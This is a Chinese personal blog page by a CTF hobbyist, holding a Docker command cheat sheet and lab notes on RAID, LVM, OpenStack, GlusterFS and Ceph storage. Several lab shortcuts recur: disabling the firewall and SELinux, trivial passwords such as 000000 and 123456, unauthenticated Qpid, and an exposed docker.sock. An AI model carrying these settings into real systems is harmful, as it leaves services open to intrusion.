W1lsp0 发布的文章 - 一个CTFer的小窝
首页
状态
友链
留言
追番
更多
视频
搜 索
1
Docker常用命令
56 阅读
2
Jet全家桶和Navicat激活(仅可用于学生学习使用)
43 阅读
3
CTF show web入门之文件上传
39 阅读
4
华为交换机&路由器命令
37 阅读
5
软考基本知识
33 阅读
CTF
SQL注入
文件漏洞
PHP特性
命令执行
云存储
云网络
Linux
kali
OpenWrt
登录
搜 索
标签搜索
MySQL
数据库
DNS
根服务器
根节点
软件
激活
HVV
云安全
网络安全
W1lsp0
累计撰写
24
篇文章
累计收到
2
条评论
首页
栏目
CTF
SQL注入
文件漏洞
PHP特性
命令执行
云存储
云网络
Linux
kali
OpenWrt
页面
状态
友链
留言
追番
视频
用户登录
登录
找到
21
篇与
W1lsp0
相关的结果
2023-02-16
Docker常用命令
1. 首先需要容器镜像加速,使用阿里云的个人链接sudo vim /etc/docker/daemon.jsonsudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["https://ayxukj4g.mirror.aliyuncs.com"] } EOF sudo systemctl daemon-reload sudo systemctl restart docker apt-get remove docker docker-engine docker.io containerd runc curl -fsSL https://test.docker.com -o test-docker.sh && sh test-docker.sh2.容器操作Docker创建命令-rundocker create docker run Usage: docker run [OPTIONS] IMAGE [COMMAND] [ARG...] -a, --attach=[] 登录容器(以docker run -d启动的容器) -c, --cpu-shares=0 设置容器CPU权重,在CPU共享场景使用 --cap-add=[] 添加权限,权限清单详见:http://linux.die.net/man/7/capabilities --cap-drop=[] 删除权限,权限清单详见:http://linux.die.net/man/7/capabilities --cidfile="" 运行容器后,在指定文件中写入容器PID值,一种典型的监控系统用法 --cpuset="" 设置容器可以使用哪些CPU,此参数可以用来容器独占CPU -d, --detach=false 指定容器运行于前台还是后台 --device=[] 添加主机设备给容器,相当于设备直通 --dns=[] 指定容器的dns服务器 --dns-search=[] 指定容器的dns搜索域名,写入到容器的/etc/resolv.conf文件 -e, --env=[] 指定环境变量,容器中可以使用该环境变量 --entrypoint="" 覆盖image的入口点 --env-file=[] 指定环境变量文件,文件格式为每行一个环境变量 --expose=[] 指定容器暴露的端口,即修改镜像的暴露端口 -h, --hostname="" 指定容器的主机名 -i, --interactive=false 打开STDIN,用于控制台交互 --link=[] 指定容器间的关联,使用其他容器的IP、env等信息 --lxc-conf=[] 指定容器的配置文件,只有在指定--exec-driver=lxc时使用 -m, --memory="" 指定容器的内存上限 --name="" 指定容器名字,后续可以通过名字进行容器管理,links特性需要使用名字 --net="bridge" 容器网络设置,待详述 -P, --publish-all=false 指定容器暴露的端口,待详述 内部端口随机映射到主机的高端口 -p, --publish=[] 指定容器暴露的端口,待详述 内部端口绑定到指定的主机端口 --privileged=false 指定容器是否为特权容器,特权容器拥有所有的capabilities --restart="" 指定容器停止后的重启策略,待详述 --rm=false 指定容器停止后自动删除容器(不支持以docker run -d启动的容器) --sig-proxy=true 设置由代理接受并处理信号,但是SIGCHLD、SIGSTOP和SIGKILL不能被代理 -t, --tty=false 分配tty设备,该可以支持终端登录 -u, --user="" 指定容器的用户 -v, --volume=[] 给容器挂载存储卷,挂载到容器的某个目录 --volumes-from=[] 给容器挂载其他容器上的卷,挂载到容器的某个目录 -w, --workdir="" 指定容器的工作目录Docker容器备份docker commit nginx mynginx # 将容器保存为镜像 docker save -o [tar包真实路径] [镜像名 ](ID也可以) # 打包镜像为tar docker load -i [tar包真实路径] # 恢复 docker export e950a988d058 > /opt/gitlab-zh.tar # 根据容器导出镜像容器 docker import - 镜像名 < /opt/gitlab-zh.tar # 导入$ docker import http://example.com/exampleimage.tgz example/imagerepo # url导入ocker import http://example.com/exampleimage.tgz example/imagerepo # 通过url导入删除Docker容器docker container rm $docker_id # 删除已经停止的某个或几个Docker容器 docker container prune # 删除所有的停止的Docker容器获取Docker容器的信息,进入容器docker exec -it 容器名 /bin/bash # 进入Docker容器 docker exec 容器名 容器内命令 # 直接在Docker容器外部执行容器的命令 docker attach 44fc0f0582d9 # 多个窗口同时使用该命令进入该容器时,所有的窗口都会同步显示。 exit # 退出 docker inspect 容器名 # 这个命令会返回一个大json字符串,可一次性取得docker全部内容 docker inspect --format=’}’ 容器名称(容器ID) # 获取Docker容器指定的信息停止并删除所有容器docker container ls -aq # 生成所有容器的列表 docker container stop $(docker container ls -aq) # 停止所有正在运行的容器 docker container rm $(docker container ls -aq) # 删除所有的容器 docker rm containerid3.镜像操作docker image ls # 查看所有的Docker镜像 docker image rm 75835a67d134 # 删除镜像 docker image prune # 删除未标记且未被任何容器使用的镜像 docker image prune -a # 要删除所有现有容器未引用的所有镜像 docker rmi # 删除image docker pull ubuntu:13.10 # 拉取 docker search httpd # 查找镜像 docker container commit < 输入你的 CONTAINER_ID > <需要构建的镜像名:版本号> # -m: 提交的描述信息,-a: 指定镜像作者 docker tag ubuntu:18.04 username/ubuntu:18.04 # 推送镜像4.Volume操作删除Docker卷docker volume ls # 查看卷 docker volume rm volume_id # 删除卷 docker volume prune # 删除所有未使用的卷5.Network操作删除Docker构建的网络docker network ls # 查看所有的网络 docker network rm network_id # 删除某个网络 docker network prune # 删除所有未使用的网络 docker network create -d bridge test-net # 创建一个网络 6.DockerHubDocker账户创建以及镜像库的构建docker pull 镜像名:version # 默认为latest最新版7.其他操作删除所有未使用的Docker对象docker system prune # 有提示使用-f或--force选项绕过提示,要删除所有未使用的卷,请传递--volumes选项: docker system prune --volumes docker pause # 暂停容器中所有的进程。 docker unpause # 恢复容器中所有的进程。 docker top :查看容器中运行的进程信息,支持 ps 命令参数。其他容器操作docker history image-name # 查看docker镜像的历史 docker ps # 显示所有的容器 docker ps -a # 显示所有的容器 docker ps -l # 显示最近创建的容器 attach 介入到一个正在运行的容器 build 根据 Dockerfile 构建一个镜像 cp 在本地文件系统与容器中复制 文件/文件夹 docker cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH|- docker cp 96f7f14e99ab:/www /tmp/ docker cp [OPTIONS] SRC_PATH|- CONTAINER:DEST_PATH docker cp /www/runoob 96f7f14e99ab:/www/ create 创建一个新容器 exec 在容器中执行一条命令 images 列出镜像 kill 杀死一个或多个正在运行的容器 logs 取得容器的日志 pause 暂停一个或多个容器的所有进程 ps 列出所有容器 pull 拉取一个镜像或仓库到 registry push 推送一个镜像或仓库到 registry rename 重命名一个容器 restart 重新启动一个或多个容器 rm 删除一个或多个容器 rmi 删除一个或多个镜像 run 在一个新的容器中执行一条命令 search 在 Docker Hub 中搜索镜像 start 启动一个或多个已经停止运行的容器 stats 显示一个容器的实时资源占用 stop 停止一个或多个正在运行的容器 tag 为镜像创建一个新的标签 top 显示一个容器内的所有进程 unpause 恢复一个或多个容器内所有被暂停的进程8.DockerfileFROM centos VOLUME ["volume01","volume02"] CMD echo"----end----" CMD /bin/bash9.DockerMachinebase=https://github.com/docker/machine/releases/download/v0.16.0 && curl -L $base/docker-machine-$(uname -s)-$(uname -m) >/tmp/docker-machine && sudo install /tmp/docker-machine /usr/local/bin/docker-machine docker-machine version 使用Docker Machine,要通过docker-machine create命令创建Docker机器。 docker-machine create [OPTIONS] [arg...] 10.Swarm创建一个新的Swarm集群: 该命令的输出提示当前节点已成为管理器,还包括将新节点加入集群的命令。根据--token选项的值,节点将作为管理器或工作者的角色加入。 docker info docker node ls # 创建集群 docker service create --replicas 1 --name helloworld alpine ping baidu.com11.日常使用的容器mysqlsudo docker run -p 3306:3306 --name mysqltest -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.7embydocker run -d \ --volume /volume2/docker/emby:/config \ --volume /volume2/wd-video/Links/Links:/wd-video \ --net=host \ --device /dev/dri:/dev/dri \ --publish 8097:8096 \ --env UID=1000 \ --env GID=100 \ --env GIDLIST=100 \ zishuo/embyserver:latest \qinglongdocker run -dit \ -v /root/ql:/ql/data \ -p 5700:5700 \ --name qinglong \ --hostname qinglong \ --restart unless-stopped \ whyour/qinglong:latestportainerdocker run -d --restart=always --name="portainer" -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock -v /volume2/docker/portainer/data:/data 6053537/portainer-ceshelljellyfindocker run -d -p 8096:8096 -v /volume2/wd-video/Links/Links:/wd-video -v /volume1/video/Links/Links:/video -v /volume2/docker/jellyfin/config:/config --device /dev/dri:/dev/dri nyanmisaka/jellyfinchinesesubfinderdocker run -d \ -v /volume2/docker/ChiSu/config:/config \ -v /volume2/wd-video/Links/Links/电影:/media/movie \ -v /volume2/docker/browser:/root/.cache/rod/browser \ -e PUID=1026 \ -e PGID=100 \ -e PERMS=true \ -e TZ=Asia/Shanghai \ -e UMASK=022 \ -p 19035:19035 \ -p 19037:19037 \ --name chinesesubfinder \ --hostname chinesesubfinder \ allanpk716/chinesesubfinder alist docker run -d --restart=always -v /volume3/docker/alist/config:/opt/alist/data -p 5244:5244 --name="alist" xhofe/alist:latestnastoolsdocker run -d \ --name nas-tools \ --hostname nas-tools \ -p 3000:3000 `# 默认的webui控制端口` \ -v /volume3/docker/nastools/config:/config \ -v /volume2/wd-video:wd-video `# 媒体目录,多个目录需要分别映射进来` \ -e PUID=0 `# 想切换为哪个用户来运行程序,该用户的uid,详见下方说明` \ -e PGID=0 `# 想切换为哪个用户来运行程序,该用户的gid,详见下方说明` \ -e UMASK=000 `# 掩码权限,默认000,可以考虑设置为022` \ -e NASTOOL_AUTO_UPDATE=false `# 如需在启动容器时自动升级程程序请设置为true` \ jxxghp/nas-toolsqbittorrentdocker run -d \ -e PUID=1000 \ -e PGID=1000 \ -e TZ=Asia/Shanghai \ -e WEBUI_PORT=8085 \ -p 6881:6881 \ -p 6881:6881/udp \ -p 8085:8080 \ -v $PWD/config:/config \ -v $PWD/downloads:/downloads \ --restart unless-stopped \ chisbread/qbittorrent:latesttransmissiondocker run -d \ --name=transmission \ -e PUID=1000 \ -e PGID=1000 \ -e TZ=Asia/Shanghai \ -e USER=transmission `#optional` \ -e PASS=transmission `#optional` \ -e RPCPORT=9091 `#optional` \ -e PEERPORT=51413 `#optional` \ -e HOST_WHITELIST=dnsnane list \ -v /volume3/docker/transmission/config:/config \ -v /volume2/wd-video:/wd-video \ --restart unless-stopped \ chisbread/transmission:latestembydocker run -d \ --name embyserver \ -v /volume3/docker/emby/config:/config \ -v /volume1/video/Links/Links:/video \ -p 43997:8096 \ --restart unless-stopped \ lovechen/embyservertmdb54.149.176.35 keys.lime-technology.com 13.225.176.94 api.themoviedb.org 13.226.238.82 api.themoviedb.org 99.84.130.66 www.themoviedb.org 104.16.61.155 image.tmdb.org 199.232.4.133 raw.githubusercontent.com 54.192.122.94 image.tmdb.org 54.192.122.77 api.themoviedb.org 54.192.122.70 image.tmdb.org 54.192.122.30 api.themoviedb.org 54.192.122.123 api.themoviedb.org 54.192.122.12 image.tmdb.org 54.192.122.117 api.themoviedb.org 54.192.122.105 image.tmdb.org 185.199.108.153 asset-cdn.github.com 185.199.108.133 raw.githubusercontent.com 140.82.113.3 github.com 108.159.227.40 www.themoviedb.org 108.159.227.37 www.themoviedb.org 108.159.227.27 www.themoviedb.org 108.159.227.111 www.themoviedb.orgcalibre-webdocker run -d \ --name=calibre-web \ -e PUID=1000 \ -e PGID=1000 \ -e TZ=Europe/London \ -e DOCKER_MODS=linuxserver/mods:universal-calibre `#optional` \ -e OAUTHLIB_RELAX_TOKEN_SCOPE=1 `#optional` \ -p 8083:8083 \ -v /path/to/data:/config \ -v /path/to/calibre/library:/books \ --restart unless-stopped \ lscr.io/linuxserver/calibre-web:latestwallabagdocker run -v /opt/wallabag/data:/var/www/wallabag/data -v /opt/wallabag/images:/var/www/wallabag/web/assets/images -p 8090:80 wallabag/wallabagmysqldocker run -d --name mysql-01 -p 3306:13306 -e MYSQL_ROOT_PASSWORD=root mysqlportainer-cedocker run -d --restart=always --name="portainer" -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock -v /volume3/docker/portainer/data:/date 6053537/portainer-cezhenxunversion: "2.6.1" services: # 数据库 postgres: image: postgres:alpine restart: on-failure container_name: PostgreSQL ports: - 5432:5432 # 端口映射 environment: POSTGRES_USER: zhenxun # 数据库用户 POSTGRES_PASSWORD: 123456 # 数据库用户密码 POSTGRES_DB: zhenxun_db # 默认数据库 volumes: - postgres_data:/var/lib/postgresql/data # Go-cqhttp go-cqhttp: container_name: Go-cqhttp restart: on-failure image: jyishit/go-cqhttp links: - zhenxun depends_on: - zhenxun environment: - bot_qq= # !!!Bot用的QQ号 - bot_passwd= # !!!Bot用的QQ密码 volumes: - go-cqhttp_data:/home - bot_data:/home/zhenxun_bot # 机器人本体 zhenxun: container_name: ZhenXun-bot restart: on-failure image: jyishit/zhenxun_bot volumes: - ./my_plugins:/home/my_plugins - bot_data:/home/zhenxun_bot ports: - 8080:8080 links: - postgres depends_on: - postgres environment: - webui_user=admin # webui的用户名 - webui_passwd=123456 # webui的密码 - admin_qq=993177194 # !!!管理员的QQ号 webui: container_name: webui restart: on-failure image: jyishit/zhenxun_webui ports: - 8081:80 depends_on: - zhenxun links: - zhenxun volumes: bot_data: go-cqhttp_data: postgres_data:redisdocker run --restart=always --log-opt max-size=100m --log-opt max-file=2 -p 6379:6379 --name myredis -v /root/redis/config:/etc/redis -v /root/redis/data:/data -d redis redis-server /etc/redis/redis.conf --appendonly yes
2023年02月16日
56 阅读
0 评论
0 点赞
2021-11-12
云存储运维
构建内置存储系统磁盘基本操作命令fdiskfdisk 设备 # 须是设备号,不是分区 fdisk /dev/sda Command (m for help): 在这里按 m ,就会输出帮助; Command action a toggle a bootable flag b edit bsd disklabel c toggle the dos compatibility flag d delete a partition 注:这是删除一个分区的动作; l list known partition types 注:l 是列出分区类型,以供我们设置相应分区的类型; m print this menu 注:m 是列出帮助信息; n add a new partition 注:添加一个分区; o create a new empty DOS partition table p print the partition table 注:p 列出分区表; q quit without saving changes 注:不保存退出; s create a new empty Sun disklabel t change a partition's system id # 注:t 改变分区类型; u change display/entry units v verify the partition table w write table to disk and exit 注:把分区表写入硬盘并退出; x extra functionality (experts only) 注:扩展应用,专家功能;添加一个5G硬盘,并查看分区情况mkfs-h查看帮助信息-t <文件系统类型>指定要创建的文件系统类型-v (小写)查看使用方法信息-V (大写)查看版本信息-f强制格式化,类似于rm -f-b size=1024指定block大小(1k、2k、4k),默认block大小为4k实例,格式化/dev/sdb硬盘,再次查看分区情况,刚刚分的区已经没了磁盘组建RAIDRAID-0: 读、写性能提升; 可用空间:N*min(S1,S2,...) 无容错能力 最少磁盘数:2, 2+ RAID-1: 读性能提升、写性能略有下降; 可用空间:1*min(S1,S2,...) 有冗余能力 最少磁盘数:2, 2+ RAID-5: 读、写性能提升 可用空间:(N-1)*min(S1,S2,...) 有容错能力:1块磁盘 最少磁盘数:3, 3+ RAID-10: 读、写性能提升 可用空间:N*min(S1,S2,...)/2 有容错能力:每组镜像最多只能坏一块; 最少磁盘数:4, 4+ 组建RAID0提示:R0一时爽,数据火葬场。最好是使用不同硬盘,因为使用相同硬盘不同分区组建R0最后是使用的同一个硬盘的IO,速度并没有本质上的提升。 RAID0 是一种简单的、无数据校验的数据条带化技术。实际上不是一种真正的 RAID ,因为它并不提供任何形式的冗余策略。 RAID0 将所在磁盘条带化后组成大容量的存储空间(如图 2 所示),将数据分散存储在所有磁盘中,以独立访问方式实现多块磁盘的并读访问。由于可以并发执行 I/O 操作,总线带宽得到充分利用。再加上不需要进行数据校验,RAID0 的性能在所有 RAID 等级中是最高的。理论上讲,一个由 n 块磁盘组成的 RAID0 ,它的读写性能是单个磁盘性能的 n 倍,但由于总线带宽等多种因素的限制,实际的性能提升低于理论值。默认没有安装mdadmRAID管理工具,使用yum install mdadm安装即可-C: 创建模式 -n: 使用#个块设备来创建此RAID -l:指明要创建的RAID的级别 -a :自动创建目标RAID设备的设备文件 -c CHUNK_SIZE: 指明块大小,单位k -x : 指明空闲盘的个数 -D:显示raid的详细信息 mdadm -D /dev/md0 管理模式: -f: 标记指定磁盘为损坏 -a: 添加磁盘 -r: 移除磁盘 -f: 显示过程 观察md的状态:cat /proc/mdstat 增加新的成员 mdadm –G /dev/md0 –n4 -a /dev/sdf1 生成配置文件:mdadm –D –s >> /etc/mdadm.conf 停止设备:mdadm –S /dev/md0 激活设备:mdadm –A –s /dev/md0 激活 强制启动:mdadm –R /dev/md0 删除raid信息:mdadm --zero-superblock /dev/sdb1先将磁盘分为了五个大小相同的区使用/dev/sdb[1-2],这两个区作为实验安装。查看RAID情况mdadm -Cv /dev/md0 -l0 -n2 /dev/sdb[1-2] #-Cv:创建并显示过程,-l0:级别为RAID0,-n2:使用两块盘区查看系统中存在的RAID停止并删除RAID,查看系统中的RAID情况mdadm --stop /dev/md0 mdadm --misc --zero-superblock /dev/sdb1 mdadm --misc --zero-superblock /dev/sdb2 cat /proc/mdstat组建RAID1如果有两块1T的硬盘,那么只能使用1T,因为有一块做备用盘。RAID1 称为镜像,它将数据完全一致地分别写到工作磁盘和镜像 磁盘,它的磁盘空间利用率为 50% 。 RAID1 在数据写入时,响应时间会有所影响,但是读数据的时候没有影响。 RAID1 提供了最佳的数据保护,一旦工作磁盘发生故障,系统自动从镜像磁盘读取数据,不会影响用户工作。工作原理如图 3 所示。创建RAID1,并查看信息mdadm -Cv /dev/md0 -l1 -n2 /dev/sdb[1-2] cat /proc/mdstat查看硬盘信息fdisk -l停止RAID1阵列,移除两个硬盘mdadm --stop /dev/md0 mdadm --misc --zero-superblock /dev/sdb1 mdadm --misc --zero-superblock /dev/sdb2 cat /proc/mdstat组建RAID5 RAID5 应该是目前最常见的 RAID 等级,它的原理与 RAID4 相似,区别在于校验数据分布在阵列中的所有磁盘上,而没有采用专门的校验磁盘。对于数据和校验数据,它们的写操作可以同时发生在完全不同的磁盘上。因此, RAID5 不存在 RAID4 中的并发写操作时的校验盘性能瓶颈问题。另外, RAID5 还具备很好的扩展性。当阵列磁盘 数量增加时,并行操作量的能力也随之增长,可比 RAID4 支持更多的磁盘,从而拥有更高的容量以及更高的性能。创建RAID5,并查看信息mdadm -Cv /dev/md0 -l5 -n3 /dev/sdb[1-3] cat /proc/mdstat查看阵列信息 mdadm -D /dev/md0格式化硬盘分区为ext4格式mkfs.ext4 /dev/md0挂载并验证 mount /dev/md0 /mnt/ df -h解挂载并删除设备umount /mnt/ mdadm --stop /dev/md0 mdadm --misc --zero-superblock /dev/sdb1 mdadm --misc --zero-superblock /dev/sdb2 mdadm --misc --zero-superblock /dev/sdb3RAID5运维操作mdadm -Cv /dev/md0 -l5 -n3 /dev/sdb[1-3] cat /proc/mdstat模拟硬盘故障mdadm -f /dev/md0 /dev/sdb1热移除故障盘 mdadm -r /dev/md0 /dev/sdb1组建RAID10RAID01 兼备了 RAID0 和 RAID1 的优点,它先用两块磁盘建立镜像,然后再在镜像内部做条带化。 RAID01 的数据将同时写入到两个磁盘阵列中,如果其中一个阵列损坏,仍可继续工作,保证数据安全性的同时又提高了性能。 RAID01 和 RAID10 内部都含有 RAID1 模式,因此整体磁盘利用率均仅为 50% 。典型的 RAID01 (上)和 RAID10 (下)模型构建RAID10并查看信息mdadm -Cv /dev/md0 -l10 -n4 /dev/sdb1 /dev/sdb2 /dev/sdb3 /dev/sdb5删除RAID10mdadm --stop /dev/md0 mdadm --misc --zero-superblock /dev/sdb1 mdadm --misc --zero-superblock /dev/sdb2 mdadm --misc --zero-superblock /dev/sdb3 mdadm --misc --zero-superblock /dev/sdb5管理逻辑卷删除所有分区并格式化,内核重新读取分区并查看。fdisk /dev/sdb partx /dev/sdb创建物理卷组创建物理卷pvcreate /dev/sdb1 /dev/sdb2查看创建的物理卷,和查看物理卷的详细信息pvs pvdisplay扫描物理卷,创建物理卷组pvscan vgcreate myvg /dev/sdb[1-2] vgdisplay # 查看物理卷组的详细信息卷组删除删除myvg,重新创建并指定PE大小为16mvgremove myvg vgcreate -s 16m myvg /dev/sdb[1-2]删除PV并转移数据pvmove /dev/sdb1 vgreduce myvg /dev/sdb1 pvs添加物理卷向myvg添加一个物理卷/dev/sdb3,但是这个分区须提前分vgextend myvg /dev/sdb3创建逻辑卷名为mylv,大小5GBvcreate -L+5G -n mylv myvg lvs # 查看逻辑卷 lvscan # 扫描逻辑卷操作逻辑卷格式化并挂载mkfs.ext4 /dev/mapper/myvg-mylv mount /dev/mapper/myvg-mylv /mnt/ df -h卷组扩容lvextend -L+1G /dev/mapper/myvg-mylv # 对创建的LVM卷扩容 resize2fs /dev/mapper/myvg-mylv # 对文件系统进行扩容物理卷扩容,并再对逻辑卷扩容vgextend myvg /dev/sdb1 vgs lvextend -L+1G /dev/mapper/myvg-mylv resize2fs /dev/mapper/myvg-mylv df -h缩小卷组umount /mnt/ df -h lvreduce -L -3G /dev/mapper/myvg-mylv lvs此时需要重新格式化并挂载才能重新使用构建OpenStack云存储系统构建OpenStack私有云配置安装环境hostname controller # 临时修改主机名, vi /etc/sysconfig/network # 永久修改主机名,修改hostname为controller mount -o loop CentOS-6.5-x86_64-bin_DVD.iso /mnt/ mkdir /opt/centos cp -rfv /mnt/* /opt/centos/ umount /mnt/ # 卸载 mount -o loop XianDian-IaaS-v1.4.iso /mnt/ cp -rfv /mnt/ /opt/配置yum软件源vi /etc/yum.repos.d/local.repo # 写入以下 ---------------------------------------- [centos] name=centos baseurl=file:///opt/centos gpgcheck=0 enabled=1 [iaas] name=iaas baseurl=file///opt/iaas-repo gpgcheck=0 enabled=1 ----------------------------------------- yum clean all # 清除软件源 yum list # 查看软件包关闭防火墙 service iptables stop # 关闭返回去 chkconfig iptables off # 设置防火墙开机不启动关闭selinuxsetenforce 0 # 临时关闭 vi /etc/selinux/config # 永久关闭 # 设置SELINUX=permissive 安装iaas-xiandianyum install iaas-xiandian -y修改全局配置文件openrc.shvi /etc/xiandian/openrc.sh -----------------------------------------------------------------------------------------# #--------------------system config--------------------# #Controller Server Manager IP. example:x.x.x.x HOST_IP=192.168.100.10 #Controller Server hostname. example:controller HOST_NAME=controller #Compute Node Manager IP. example:x.x.x.x HOST_IP_NODE=192.168.100.10 #Compute Node hostname. example:compute HOST_NAME_NODE=controller #--------------------MySQL config---------------------## #Password for MySQL root user . exmaple:000000 DB_PASS=000000 #--------------------Keystone config------------------## #Password for Keystore admin user. exmaple:000000 ADMIN_PASS=000000 #Password for Mysql keystore user. exmaple:000000 KEYSTONE_DBPASS=000000 #--------------------Glance config--------------------## #Password for Mysql glance user. exmaple:000000 GLANCE_DBPASS=000000 #Password for Keystore glance user. exmaple:000000 GLANCE_PASS=000000 #--------------------Nova config----------------------## #Password for Mysql nova user. exmaple:000000 NOVA_DBPASS=000000 #Password for Keystore nova user. exmaple:000000 NOVA_PASS=000000 #--------------------Neturon config-------------------## #Password for Mysql neutron user. exmaple:000000 NEUTRON_DBPASS=000000 #Password for Keystore neutron user. exmaple:000000 NEUTRON_PASS=000000 #metadata secret for neutron. exmaple:000000 METADATA_SECRET=000000 #External Network Interface. example:eth1 INTERFACE_NAME=eth1 #First Vlan ID in VLAN RANGE for VLAN Network. exmaple:101 minvlan= #Last Vlan ID in VLAN RANGE for VLAN Network. example:200 maxvlan= #--------------------Cinder config--------------------## #Password for Mysql cinder user. exmaple:000000 CINDER_DBPASS=000000 #Password for Keystore cinder user. exmaple:000000 CINDER_PASS=000000 #Cinder Block Disk. example:md126p3 BLOCK_DISK=sdb1 #--------------------Swift config---------------------## #Password for Keystore swift user. exmaple:000000 SWIFT_PASS=000000 #The NO1. NODE Object Disk for Swift. example:md126p4. The 2nd will be OBJECT_DISK_2 OBJECT_DISK_1=sdc1 #The NO1. NODE IP for Swift Storage Network. example:x.x.x.x. The 2nd will be STORAGE_LOCAL_NET_IP_2 STORAGE_LOCAL_NET_IP_1=192.168.100.10 #The numbers of all the Swift Nodes. example:3 SWIFT_ZONE=1 #The number of this Swift Node. exmaple:1 SWIFT_NODE=1 #--------------------Heat config----------------------## #Password for Mysql heat user. exmaple:000000 HEAT_DBPASS=000000 #Password for Keystore heat user. exmaple:000000 HEAT_PASS=000000 #--------------------Ceilometer config----------------## #Password for Mysql ceilometer user. exmaple:000000 CEILOMETER_DBPASS=000000 #Password for Keystore ceilometer user. exmaple:000000 CEILOMETER_PASS=000000 #token for ceilometer. exmaple:000000 CEILOMETER_TOKEN=000000 #--------------------Sahara config--------------------## #Password for Mysql sahara user. exmaple:000000 SAHARA_DBPASS=000000 #Password for Keystore sahara user. exmaple:000000 SAHARA_PASS=000000 -----------------------------------------------------------------------------------------------安装Qpid服务yum install -y qpid-cpp-server vi /etc/qpidd.conf # 修改最后一行代码 # auth=no service qpidd start # 启动服务 chkconfig qpidd on # 开机自启安装基本服务# 安装mysql iaas-install-mysql.sh # 安装Glance服务 iaas-install-keystone.sh # 安装Nova计算服务 iaas-install-nova-controller.sh iaas-install-nova-compute.sh # 安装Neutron网络服务 iaas-install-neutron-controller.sh iaas-install-neutron-compute.sh # 网络可以选择gre模式 iaas-install-neutron-controller-gre.sh iaas-install-neutron-compute-gre.sh # 安装Dashboard服务 iaas-install-dashboard.sh验证安装在浏览器输入10.10.1.10/dashboard进入即可配置OpenStack对象存储安装Swift服务iaas-install-swift-controller.sh iaas-install-swift-compute.sh查看Swift状态swift stat查看容器swift list 创建容器swift post C1容器操作# 上传文件 swift upload C1 /etc/hosts # 删除文件 swift delete C1 /etc/hosts删除容器swift delete C1构建GlusterFS的分布式文件系统将glusterfs文件夹通过winscp上传到/opt目录下yum install -y createrepo # 在线安装索引生成工具 createrepo /opt/glusterfs # 将指定目录生成安装软件包索引配置YUM 源,在/etc/yum.repos.d 目录下,新建一个local.repo 文件,内容如下:[glusterfs] name=glusterfs baseurl=file///opt/glusterfs gpgcheck=0 enabled=1执行yum clean all,刷新软件包库安装glusterfs服务端和客户端yum install -y glusterfs-server xfsprogs service glusterfs start # 启动服务 chkconfig glusterfs on # 设置开机自启设置防火墙关闭,开机不自启service firewalld stop chkconfig firewalld off添加节点到GlusterFS服务器集群,并查看集群状态gluster peer probe 10.10.1.10 gluster peer probe 10.10.1.11 gluster peer status格式化磁盘并挂载目录fdisk /dev/sdb # 分一个区即可 mkdir /export/brick1/1在主节点创建共享副本卷创建共享副本卷,gv0为卷名称,可以自定义gluster volume create gv0 replica 2 10.10.1.10:/export/brick1/1 10.10.1.11:/export/brick1/1 gluster volume start gv0 # 启动卷 gluster volume info # 查看卷gv0的状态挂载副本卷mount -t glusterfs 172.168.1.105:/gv0 /mnt在主节点创建分布卷gluster volume create gv1 10.10.1.10:/export/brick1/2 10.10.1.11:/export/brick1/2 gluster volume start gv1挂载分布卷umount /mnt # 解挂载 mount -t glusterfs 10.10.1.10:/gv1 /mnt运维操作# 启动/关闭/查看glusterd服务 /etc/init.d/glusterd start /etc/init.d/glusterd stop /etc/init.d/glusterd status# Brick管理 gluster peer probe <SERVER> # 存储池添加服务器节点 gluster peer detach <SERVER> # 为存储池移除服务器节点 gluster volume add-brick gv1 10.10.1.10:/export/brick1/2 10.10.1.11:/export/brick1/2 # 列出集群中的所有卷: gluster volume list # 查看卷信息 gluster volume info # 查看卷信息 gluster volume status [all] # 查看卷状态 #创建/启动/停止/删除卷 gluster volume start <VOLNAME> # 创建卷 gluster volume stop <VOLNAME> # 停止卷 gluster volume delete <VOLNAME> # 删除卷 # 修复卷 gluster volume heal mamm-volume # 只修复有问题的卷 gluster volume heal mamm-volume full # 修复所有文件 gluster volume heal mamm-volume info # 查看自愈详情 # 数据重新分配 gluster volume rebalance datavolume1 start gluster volume rebalance datavolume1 status gluster volume rebalance datavolume1 stop # 卸载GlusterFS磁盘 gluster peer detach idc1-server4 # 删除GlusterFS磁盘 gluster volume stop datavolume1 gluster volume delete datavolume1 # 扩展卷 gluster volume add-brick <VOLNAME> <NEW-BRICK>构建Ceph分布式存储系统基础环境配置安装pve并安装cephpvecm create myclusters pvecm add (主机1 IP地址) # 主机二上执行 # 修改源 vi /etc/apt/sources.list # 打开后全部删除写入以下内容 ----------------------------------------------------------------------------------------- deb https://mirrors.aliyun.com/debian buster main contrib non-free deb https://mirrors.aliyun.com/debian buster-updates main contrib non-free deb https://mirrors.aliyun.com/debian-security buster/updates main contrib non-free deb https://mirrors.ustc.edu.cn/proxmox/debian/pve buster pve-no-subscription deb https://mirrors.ustc.edu.cn/proxmox/debian/ceph-octopus/ buster main ------------------------------------------------------------------------------------------ vi /etc/apt/sources.list.d/ceph.list # 打开后全部删除写入以下内容 deb https://mirrors.ustc.edu.cn/proxmox/debian/ceph-octopus/ buster main # 传递给主机2 scp -r /etc/apt/sources.list root@10.10.1.11:/etc/apt/sources.list安装ceph全部选择y修改vi etc/ceph/ceph.confvi /etc/ceph/ceph.conf # 修改public_network = 10.10.10.0/24创建ceph集群存储,两台主机均执行如下命令pveceph createmon # 创建Mon监控 pveceph createosd /dev/sdb # 创建ceph集群存储OSD服务创建poolsceph osd pool create myclusters 128 128 # 主机1执行添加RBD存储构建超融合架构基础环境配置修改所有虚拟机文件vi /etc/hosts 10.10.1.10 ceph-node1 10.10.1.11 ceph-node2 10.10.1.12 ceph-node3生成复制`ssh密钥ssh-keygen ssh-copy-id root@ceph-node2 ssh-copy-id root@ceph-node3禁用selinuxsetenforce 0 vi /etc/selinux/config sllinux->disablesd为所有服务器校时yum install -y ntp ntpdate ntpdate pool.ntp.org chkconfig ntpd on修改yum源,使用本地FTP源[centos] name=centos baseurl=file:///opt/centos gpgcheck=0 enabled=1 [iaas] name=iaas baseurl=file///opt/iaas-repo gpgcheck=0 enabled=1安装和配置Ceph创建ceph集群yum install ceph-deploy -y mkdir /etc/ceph cd /etc/ceph/ ceph-deploy new ceph-node1 ceph-deploy install ceph-node1 ceph-node2 ceph-node3查看版本信息ceph -v创建第一个Ceph monitor,并查看集群状态ceph-deploy --overwrite mon vreate-initial ceph 